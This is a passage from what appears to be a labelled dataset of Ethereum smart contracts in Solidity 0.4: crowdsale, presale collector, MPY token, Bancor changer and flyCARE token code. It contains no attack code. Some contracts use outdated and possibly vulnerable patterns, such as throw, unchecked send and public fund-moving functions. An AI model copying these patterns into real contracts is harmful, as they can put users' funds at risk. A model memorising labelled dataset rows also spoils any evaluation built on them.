else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract PresaleFundCollector is Ownable {
using SafeMathLib for uint;
uint public MAX_INVESTORS = 32;
uint public investorCount;
address[] public investors;
mapping(address => uint) public balances;
uint public freezeEndsAt;
uint public weiMinimumLimit;
bool public moving;
Crowdsale public crowdsale;
event Invested(address investor, uint value);
event Refunded(address investor, uint value);
function PresaleFundCollector(address _owner, uint _freezeEndsAt, uint _weiMinimumLimit) {
owner = _owner;
if(_freezeEndsAt == 0) {
throw;
}
if(_weiMinimumLimit == 0) {
throw;
}
weiMinimumLimit = _weiMinimumLimit;
freezeEndsAt = _freezeEndsAt;
}
function invest() public payable {
if(moving) throw;
address investor = msg.sender;
bool existing = balances[investor] > 0;
balances[investor] = balances[investor].plus(msg.value);
if(balances[investor] < weiMinimumLimit) {
throw;
}
if(!existing) {
if(investorCount >= MAX_INVESTORS) throw;
investors.push(investor);
investorCount++;
}
Invested(investor, msg.value);
}
function parcipateCrowdsaleInvestor(address investor) public {
if(address(crowdsale) == 0) throw;
moving = true;
if(balances[investor] > 0) {
uint amount = balances[investor];
delete balances[investor];
crowdsale.invest.value(amount)(investor);
}
}
function parcipateCrowdsaleAll() public {
for(uint i=0; i<investors.length; i++) {
parcipateCrowdsaleInvestor(investors[i]);
}
}
function refund() {
if(now < freezeEndsAt) throw;
moving = true;
address investor = msg.sender;
if(balances[investor] == 0) throw;
uint amount = balances[investor];
delete balances[investor];
if(!investor.send(amount)) throw;
Refunded(investor, amount);
}
function setCrowdsale(Crowdsale _crowdsale) public onlyOwner {
crowdsale = _crowdsale;
}
function() payable {
throw;
}
} | 1 | 3,799 |
pragma solidity ^0.4.11;
contract MPY {
string public constant name = "MatchPay Token";
string public constant symbol = "MPY";
uint256 public constant decimals = 18;
address owner;
uint256 public fundingStartBlock;
uint256 public fundingEndBlock;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public constant tokenExchangeRate = 10;
uint256 public maxCap = 30 * (10**3) * (10**decimals);
uint256 public totalSupply;
uint256 public minCap = 10 * (10**2) * (10**decimals);
uint256 public ownerTokens = 3 * (10**2) * (10**decimals);
bool public isFinalized = false;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event MPYCreation(address indexed _owner, uint256 _value);
event MPYRefund(address indexed _owner, uint256 _value);
modifier is_live() { require(block.number >= fundingStartBlock && block.number <= fundingEndBlock); _; }
modifier only_owner(address _who) { require(_who == owner); _; }
function safeAdd(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint256 x, uint256 y) internal returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
function MPY(
uint256 _fundingStartBlock,
uint256 _fundingEndBlock
) {
owner = msg.sender;
fundingStartBlock = _fundingStartBlock;
fundingEndBlock = _fundingEndBlock;
}
function balanceOf(address _owner) constant returns (uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) returns (bool success) {
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _amount) returns (bool success) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _amount) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256) {
return allowed[_owner][_spender];
}
function getStats() constant returns (uint256, uint256, uint256, uint256) {
return (minCap, maxCap, totalSupply, fundingEndBlock);
}
function getSupply() constant returns (uint256) {
return totalSupply;
}
function() is_live() payable {
if (msg.value == 0) revert();
if (isFinalized) revert();
uint256 tokens = safeMult(msg.value, tokenExchangeRate);
uint256 checkedSupply = safeAdd(totalSupply, tokens);
if (maxCap < checkedSupply) revert();
totalSupply = checkedSupply;
balances[msg.sender] += tokens;
MPYCreation(msg.sender, tokens);
}
function emergencyPay() external payable {}
function finalize() external {
if (msg.sender != owner) revert();
if (totalSupply < minCap) revert();
if (block.number <= fundingEndBlock && totalSupply < maxCap) revert();
if (!owner.send(this.balance)) revert();
balances[owner] += ownerTokens;
totalSupply += ownerTokens;
isFinalized = true;
}
function refund() external {
if (isFinalized) revert();
if (block.number <= fundingEndBlock) revert();
if (totalSupply >= minCap) revert();
if (msg.sender == owner) revert();
uint256 mpyVal = balances[msg.sender];
if (mpyVal == 0) revert();
balances[msg.sender] = 0;
totalSupply = safeSubtract(totalSupply, mpyVal);
uint256 ethVal = mpyVal / tokenExchangeRate;
MPYRefund(msg.sender, ethVal);
if (!msg.sender.send(ethVal)) revert();
}
} | 1 | 5,009 |
pragma solidity ^0.4.11;
contract Utils {
function Utils() {
}
modifier greaterThanZero(uint256 _amount) {
require(_amount > 0);
_;
}
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
modifier notThis(address _address) {
require(_address != address(this));
_;
}
function safeAdd(uint256 _x, uint256 _y) internal returns (uint256) {
uint256 z = _x + _y;
assert(z >= _x);
return z;
}
function safeSub(uint256 _x, uint256 _y) internal returns (uint256) {
assert(_x >= _y);
return _x - _y;
}
function safeMul(uint256 _x, uint256 _y) internal returns (uint256) {
uint256 z = _x * _y;
assert(_x == 0 || z / _x == _y);
return z;
}
}
contract IOwned {
function owner() public constant returns (address owner) { owner; }
function transferOwnership(address _newOwner) public;
function acceptOwnership() public;
}
contract Owned is IOwned {
address public owner;
address public newOwner;
event OwnerUpdate(address _prevOwner, address _newOwner);
function Owned() {
owner = msg.sender;
}
modifier ownerOnly {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public ownerOnly {
require(_newOwner != owner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = 0x0;
}
}
contract Managed {
address public manager;
address public newManager;
event ManagerUpdate(address _prevManager, address _newManager);
function Managed() {
manager = msg.sender;
}
modifier managerOnly {
assert(msg.sender == manager);
_;
}
function transferManagement(address _newManager) public managerOnly {
require(_newManager != manager);
newManager = _newManager;
}
function acceptManagement() public {
require(msg.sender == newManager);
ManagerUpdate(manager, newManager);
manager = newManager;
newManager = 0x0;
}
}
contract ITokenHolder is IOwned {
function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public;
}
contract TokenHolder is ITokenHolder, Owned, Utils {
function TokenHolder() {
}
function withdrawTokens(IERC20Token _token, address _to, uint256 _amount)
public
ownerOnly
validAddress(_token)
validAddress(_to)
notThis(_to)
{
assert(_token.transfer(_to, _amount));
}
}
contract SmartTokenController is TokenHolder {
ISmartToken public token;
function SmartTokenController(ISmartToken _token)
validAddress(_token)
{
token = _token;
}
modifier active() {
assert(token.owner() == address(this));
_;
}
modifier inactive() {
assert(token.owner() != address(this));
_;
}
function transferTokenOwnership(address _newOwner) public ownerOnly {
token.transferOwnership(_newOwner);
}
function acceptTokenOwnership() public ownerOnly {
token.acceptOwnership();
}
function disableTokenTransfers(bool _disable) public ownerOnly {
token.disableTransfers(_disable);
}
function withdrawFromToken(IERC20Token _token, address _to, uint256 _amount) public ownerOnly {
token.withdrawTokens(_token, _to, _amount);
}
}
contract IERC20Token {
function name() public constant returns (string name) { name; }
function symbol() public constant returns (string symbol) { symbol; }
function decimals() public constant returns (uint8 decimals) { decimals; }
function totalSupply() public constant returns (uint256 totalSupply) { totalSupply; }
function balanceOf(address _owner) public constant returns (uint256 balance) { _owner; balance; }
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { _owner; _spender; remaining; }
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
}
contract IEtherToken is ITokenHolder, IERC20Token {
function deposit() public payable;
function withdraw(uint256 _amount) public;
function withdrawTo(address _to, uint256 _amount);
}
contract ISmartToken is ITokenHolder, IERC20Token {
function disableTransfers(bool _disable) public;
function issue(address _to, uint256 _amount) public;
function destroy(address _from, uint256 _amount) public;
}
contract IBancorFormula {
function calculatePurchaseReturn(uint256 _supply, uint256 _reserveBalance, uint32 _reserveRatio, uint256 _depositAmount) public constant returns (uint256);
function calculateSaleReturn(uint256 _supply, uint256 _reserveBalance, uint32 _reserveRatio, uint256 _sellAmount) public constant returns (uint256);
}
contract ITokenChanger {
function changeableTokenCount() public constant returns (uint16 count);
function changeableToken(uint16 _tokenIndex) public constant returns (address tokenAddress);
function getReturn(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount) public constant returns (uint256 amount);
function change(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 amount);
}
contract BancorChanger is ITokenChanger, SmartTokenController, Managed {
uint32 private constant MAX_CRR = 1000000;
uint32 private constant MAX_CHANGE_FEE = 1000000;
struct Reserve {
uint256 virtualBalance;
uint32 ratio;
bool isVirtualBalanceEnabled;
bool isPurchaseEnabled;
bool isSet;
}
string public version = '0.2';
string public changerType = 'bancor';
IBancorFormula public formula;
IERC20Token[] public reserveTokens;
IERC20Token[] public quickBuyPath;
mapping (address => Reserve) public reserves;
uint32 private totalReserveRatio = 0;
uint32 public maxChangeFee = 0;
uint32 public changeFee = 0;
bool public changingEnabled = true;
event Change(address indexed _fromToken, address indexed _toToken, address indexed _trader, uint256 _amount, uint256 _return,
uint256 _currentPriceN, uint256 _currentPriceD);
function BancorChanger(ISmartToken _token, IBancorFormula _formula, uint32 _maxChangeFee, IERC20Token _reserveToken, uint32 _reserveRatio)
SmartTokenController(_token)
validAddress(_formula)
validMaxChangeFee(_maxChangeFee)
{
formula = _formula;
maxChangeFee = _maxChangeFee;
if (address(_reserveToken) != 0x0)
addReserve(_reserveToken, _reserveRatio, false);
}
modifier validReserve(IERC20Token _address) {
require(reserves[_address].isSet);
_;
}
modifier validToken(IERC20Token _address) {
require(_address == token || reserves[_address].isSet);
_;
}
modifier validMaxChangeFee(uint32 _changeFee) {
require(_changeFee >= 0 && _changeFee <= MAX_CHANGE_FEE);
_;
}
modifier validChangeFee(uint32 _changeFee) {
require(_changeFee >= 0 && _changeFee <= maxChangeFee);
_;
}
modifier validReserveRatio(uint32 _ratio) {
require(_ratio > 0 && _ratio <= MAX_CRR);
_;
}
modifier validChangePath(IERC20Token[] _path) {
require(_path.length > 2 && _path.length <= (1 + 2 * 10) && _path.length % 2 == 1);
_;
}
modifier changingAllowed {
assert(changingEnabled);
_;
}
function reserveTokenCount() public constant returns (uint16 count) {
return uint16(reserveTokens.length);
}
function changeableTokenCount() public constant returns (uint16 count) {
return reserveTokenCount() + 1;
}
function changeableToken(uint16 _tokenIndex) public constant returns (address tokenAddress) {
if (_tokenIndex == 0)
return token;
return reserveTokens[_tokenIndex - 1];
}
function setFormula(IBancorFormula _formula)
public
ownerOnly
validAddress(_formula)
notThis(_formula)
{
formula = _formula;
}
function setQuickBuyPath(IERC20Token[] _path)
public
ownerOnly
validChangePath(_path)
{
quickBuyPath = _path;
}
function clearQuickBuyPath() public ownerOnly {
quickBuyPath.length = 0;
}
function getQuickBuyPathLength() public constant returns (uint256 length) {
return quickBuyPath.length;
}
function hasQuickBuyEtherToken() public constant returns (bool) {
return quickBuyPath.length > 0;
}
function getQuickBuyEtherToken() public constant returns (IEtherToken etherToken) {
assert(quickBuyPath.length > 0);
return IEtherToken(quickBuyPath[0]);
}
function disableChanging(bool _disable) public managerOnly {
changingEnabled = !_disable;
}
function setChangeFee(uint32 _changeFee)
public
managerOnly
validChangeFee(_changeFee)
{
changeFee = _changeFee;
}
function getChangeFeeAmount(uint256 _amount) public constant returns (uint256 feeAmount) {
return safeMul(_amount, changeFee) / MAX_CHANGE_FEE;
}
function addReserve(IERC20Token _token, uint32 _ratio, bool _enableVirtualBalance)
public
ownerOnly
inactive
validAddress(_token)
notThis(_token)
validReserveRatio(_ratio)
{
require(_token != token && !reserves[_token].isSet && totalReserveRatio + _ratio <= MAX_CRR);
reserves[_token].virtualBalance = 0;
reserves[_token].ratio = _ratio;
reserves[_token].isVirtualBalanceEnabled = _enableVirtualBalance;
reserves[_token].isPurchaseEnabled = true;
reserves[_token].isSet = true;
reserveTokens.push(_token);
totalReserveRatio += _ratio;
}
function updateReserve(IERC20Token _reserveToken, uint32 _ratio, bool _enableVirtualBalance, uint256 _virtualBalance)
public
ownerOnly
validReserve(_reserveToken)
validReserveRatio(_ratio)
{
Reserve storage reserve = reserves[_reserveToken];
require(totalReserveRatio - reserve.ratio + _ratio <= MAX_CRR);
totalReserveRatio = totalReserveRatio - reserve.ratio + _ratio;
reserve.ratio = _ratio;
reserve.isVirtualBalanceEnabled = _enableVirtualBalance;
reserve.virtualBalance = _virtualBalance;
}
function disableReservePurchases(IERC20Token _reserveToken, bool _disable)
public
ownerOnly
validReserve(_reserveToken)
{
reserves[_reserveToken].isPurchaseEnabled = !_disable;
}
function getReserveBalance(IERC20Token _reserveToken)
public
constant
validReserve(_reserveToken)
returns (uint256 balance)
{
Reserve storage reserve = reserves[_reserveToken];
return reserve.isVirtualBalanceEnabled ? reserve.virtualBalance : _reserveToken.balanceOf(this);
}
function getReturn(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount) public constant returns (uint256 amount) {
require(_fromToken != _toToken);
if (_toToken == token)
return getPurchaseReturn(_fromToken, _amount);
else if (_fromToken == token)
return getSaleReturn(_toToken, _amount);
uint256 purchaseReturnAmount = getPurchaseReturn(_fromToken, _amount);
return getSaleReturn(_toToken, purchaseReturnAmount, safeAdd(token.totalSupply(), purchaseReturnAmount));
}
function getPurchaseReturn(IERC20Token _reserveToken, uint256 _depositAmount)
public
constant
active
validReserve(_reserveToken)
returns (uint256 amount)
{
Reserve storage reserve = reserves[_reserveToken];
require(reserve.isPurchaseEnabled);
uint256 tokenSupply = token.totalSupply();
uint256 reserveBalance = getReserveBalance(_reserveToken);
amount = formula.calculatePurchaseReturn(tokenSupply, reserveBalance, reserve.ratio, _depositAmount);
uint256 feeAmount = getChangeFeeAmount(amount);
return safeSub(amount, feeAmount);
}
function getSaleReturn(IERC20Token _reserveToken, uint256 _sellAmount) public constant returns (uint256 amount) {
return getSaleReturn(_reserveToken, _sellAmount, token.totalSupply());
}
function change(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 amount) {
require(_fromToken != _toToken);
if (_toToken == token)
return buy(_fromToken, _amount, _minReturn);
else if (_fromToken == token)
return sell(_toToken, _amount, _minReturn);
uint256 purchaseAmount = buy(_fromToken, _amount, 1);
return sell(_toToken, purchaseAmount, _minReturn);
}
function buy(IERC20Token _reserveToken, uint256 _depositAmount, uint256 _minReturn)
public
changingAllowed
greaterThanZero(_minReturn)
returns (uint256 amount)
{
amount = getPurchaseReturn(_reserveToken, _depositAmount);
assert(amount != 0 && amount >= _minReturn);
Reserve storage reserve = reserves[_reserveToken];
if (reserve.isVirtualBalanceEnabled)
reserve.virtualBalance = safeAdd(reserve.virtualBalance, _depositAmount);
assert(_reserveToken.transferFrom(msg.sender, this, _depositAmount));
token.issue(msg.sender, amount);
uint256 reserveAmount = safeMul(getReserveBalance(_reserveToken), MAX_CRR);
uint256 tokenAmount = safeMul(token.totalSupply(), reserve.ratio);
Change(_reserveToken, token, msg.sender, _depositAmount, amount, reserveAmount, tokenAmount);
return amount;
}
function sell(IERC20Token _reserveToken, uint256 _sellAmount, uint256 _minReturn)
public
changingAllowed
greaterThanZero(_minReturn)
returns (uint256 amount)
{
require(_sellAmount <= token.balanceOf(msg.sender));
amount = getSaleReturn(_reserveToken, _sellAmount);
assert(amount != 0 && amount >= _minReturn);
uint256 tokenSupply = token.totalSupply();
uint256 reserveBalance = getReserveBalance(_reserveToken);
assert(amount < reserveBalance || (amount == reserveBalance && _sellAmount == tokenSupply));
Reserve storage reserve = reserves[_reserveToken];
if (reserve.isVirtualBalanceEnabled)
reserve.virtualBalance = safeSub(reserve.virtualBalance, amount);
token.destroy(msg.sender, _sellAmount);
assert(_reserveToken.transfer(msg.sender, amount));
uint256 reserveAmount = safeMul(getReserveBalance(_reserveToken), MAX_CRR);
uint256 tokenAmount = safeMul(token.totalSupply(), reserve.ratio);
Change(token, _reserveToken, msg.sender, _sellAmount, amount, tokenAmount, reserveAmount);
return amount;
}
function quickChange(IERC20Token[] _path, uint256 _amount, uint256 _minReturn)
public
validChangePath(_path)
returns (uint256 amount)
{
IERC20Token fromToken = _path[0];
claimTokens(fromToken, msg.sender, _amount);
ISmartToken smartToken;
IERC20Token toToken;
BancorChanger changer;
uint256 pathLength = _path.length;
for (uint256 i = 1; i < pathLength; i += 2) {
smartToken = ISmartToken(_path[i]);
toToken = _path[i + 1];
changer = BancorChanger(smartToken.owner());
if (smartToken != fromToken)
ensureAllowance(fromToken, changer, _amount);
_amount = changer.change(fromToken, toToken, _amount, i == pathLength - 2 ? _minReturn : 1);
fromToken = toToken;
}
if (changer.hasQuickBuyEtherToken() && changer.getQuickBuyEtherToken() == toToken) {
IEtherToken etherToken = IEtherToken(toToken);
etherToken.withdrawTo(msg.sender, _amount);
}
else {
assert(toToken.transfer(msg.sender, _amount));
}
return _amount;
}
function quickBuy(uint256 _minReturn) public payable returns (uint256 amount) {
assert(quickBuyPath.length > 0);
IEtherToken etherToken = IEtherToken(quickBuyPath[0]);
etherToken.deposit.value(msg.value)();
ISmartToken smartToken = ISmartToken(quickBuyPath[1]);
BancorChanger changer = BancorChanger(smartToken.owner());
ensureAllowance(etherToken, changer, msg.value);
uint256 returnAmount = changer.quickChange(quickBuyPath, msg.value, _minReturn);
assert(token.transfer(msg.sender, returnAmount));
return returnAmount;
}
function getSaleReturn(IERC20Token _reserveToken, uint256 _sellAmount, uint256 _totalSupply)
private
constant
active
validReserve(_reserveToken)
greaterThanZero(_totalSupply)
returns (uint256 amount)
{
Reserve storage reserve = reserves[_reserveToken];
uint256 reserveBalance = getReserveBalance(_reserveToken);
amount = formula.calculateSaleReturn(_totalSupply, reserveBalance, reserve.ratio, _sellAmount);
uint256 feeAmount = getChangeFeeAmount(amount);
return safeSub(amount, feeAmount);
}
function ensureAllowance(IERC20Token _token, address _spender, uint256 _value) private {
if (_token.allowance(this, _spender) >= _value)
return;
if (_token.allowance(this, _spender) != 0)
assert(_token.approve(_spender, 0));
assert(_token.approve(_spender, _value));
}
function claimTokens(IERC20Token _token, address _from, uint256 _amount) private {
if (_token == token) {
token.destroy(_from, _amount);
token.issue(this, _amount);
return;
}
assert(_token.transferFrom(_from, this, _amount));
}
function() payable {
quickBuy(1);
}
} | 1 | 4,833 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract FlyCareToken is MintableToken, PausableToken, BurnableToken {
string public constant name = "flyCARE Token";
string public constant symbol = "FCC";
uint8 public constant decimals = 18;
function FlyCareToken() public {
pause();
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract TokenCappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public tokenSold;
uint256 public tokenPresaleCap;
uint256 public tokenPresaleSold;
uint256 public saleStartTime;
uint256 public totalTokenSaleCap;
function TokenCappedCrowdsale(uint256 _tokenPresaleCap, uint256 _totalTokenSaleCap, uint256 _saleStartTime) public {
require(_tokenPresaleCap > 0);
require(_totalTokenSaleCap > 0);
tokenPresaleCap = _tokenPresaleCap;
saleStartTime = _saleStartTime;
totalTokenSaleCap = _totalTokenSaleCap;
}
function tokenCapReached() public view returns (bool) {
return tokenSold >= totalTokenSaleCap;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
uint256 tokenAmount = _getTokenAmount(_weiAmount);
if (block.timestamp < saleStartTime) {
require(tokenPresaleSold.add(tokenAmount) <= tokenPresaleCap);
} else {
require(tokenSold.add(tokenAmount) <= totalTokenSaleCap);
}
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
super._processPurchase(_beneficiary, _tokenAmount);
tokenSold = tokenSold.add(_tokenAmount);
if (block.timestamp < saleStartTime) {
tokenPresaleSold = tokenPresaleSold.add(_tokenAmount);
}
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(now >= openingTime && now <= closingTime);
_;
}
function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public {
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return now > closingTime;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
Closed();
wallet.transfer(this.balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundVault public vault;
function RefundableCrowdsale(uint256 _goal) public {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
super.finalization();
}
function _forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract WhitelistedCrowdsale is Crowdsale, Ownable {
mapping(address => bool) public whitelist;
modifier isWhitelisted(address _beneficiary) {
require(whitelist[_beneficiary]);
_;
}
